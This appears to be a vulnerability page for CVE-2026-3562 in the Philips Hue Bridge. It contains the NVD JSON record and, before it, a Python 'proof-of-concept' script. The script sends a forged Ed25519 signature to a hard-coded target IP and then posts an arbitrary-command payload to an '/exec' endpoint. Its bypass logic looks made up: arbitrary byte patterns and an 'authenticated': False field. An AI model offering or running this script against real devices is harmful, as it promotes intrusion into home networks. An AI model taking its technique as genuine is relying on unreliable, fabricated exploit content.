CVE-2026-3562

# CVE-2026-3562 PoC - Philips Hue Bridge Ed25519 Signature Bypass # This is a conceptual proof-of-concept for the Ed25519 signature verification bypass # Note: This PoC is for educational and authorized testing purposes only import socket import struct import json def create_malformed_signature(): """Generate a malformed Ed25519 signature that bypasses verification""" # Craft a signature with modified bytes that exploits the verification flaw # The actual signature structure depends on the specific implementation malformed_sig = bytearray(64) # Ed25519 signatures are 64 bytes # Modify signature components to trigger verification bypass # In the vulnerable implementation, certain byte patterns are not properly validated for i in range(64): malformed_sig[i] = (i * 7) % 256 return bytes(malformed_sig) def send_exploit_packet(target_ip, target_port=80): """Send exploit packet to Philips Hue Bridge""" # Construct the malicious HAP request with forged signature signature = create_malformed_signature() # HAP protocol request with bypassed authentication exploit_payload = { 'method': 'POST', 'path': '/accessories', 'signature': signature.hex(), 'authenticated': False # This will bypass verification } # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # Send malicious request request = f"POST /accessories HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Type: application/json\r\n" request += f"X-HAP-Signature: {signature.hex()}\r\n" request += f"Content-Length: {len(json.dumps(exploit_payload))}\r\n\r\n" request += json.dumps(exploit_payload) sock.send(request.encode()) # Receive response response = sock.recv(4096) print(f"Response: {response}") return True except Exception as e: print(f"Error: {e}") return False finally: sock.close() def execute_arbitrary_code(target_ip): """Execute arbitrary code after successful bypass""" # After bypassing authentication, inject payload payload = { 'action': 'execute', 'command': 'your_malicious_command_here', 'target': '/bin/sh' } # Send code execution payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 80)) request = f"POST /exec HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Length: {len(json.dumps(payload))}\r\n\r\n" request += json.dumps(payload) sock.send(request.encode()) sock.close() if __name__ == "__main__": target = "192.168.1.100" # Philips Hue Bridge IP print("CVE-2026-3562 PoC - Ed25519 Signature Verification Bypass") print("Target: Philips Hue Bridge") # Step 1: Bypass authentication if send_exploit_packet(target): print("[+] Authentication bypass successful") # Step 2: Execute arbitrary code execute_arbitrary_code(target) print("[+] Code execution completed") else: print("[-] Exploitation failed")

{"cve": {"id": "CVE-2026-3562", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:52.337", "lastModified": "2026-04-27T14:28:53.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge hk_hap Ed25519 Signature Verification Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the ed25519_sign_open function. The issue results from improper verification of a cryptographic signature. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28480."}, {"lang": "es", "value": "Vulnerabilidad de Omisión de Autenticación por Verificación de Firma Ed25519 de hk_hap en Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de Philips Hue Bridge. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la función ed25519_sign_open. El problema resulta de una verificación incorrecta de una firma criptográfica. Un atacante puede aprovechar esta vulnerabilidad para omitir la autenticación en el sistema. Fue ZDI-CAN-28480."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-160/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}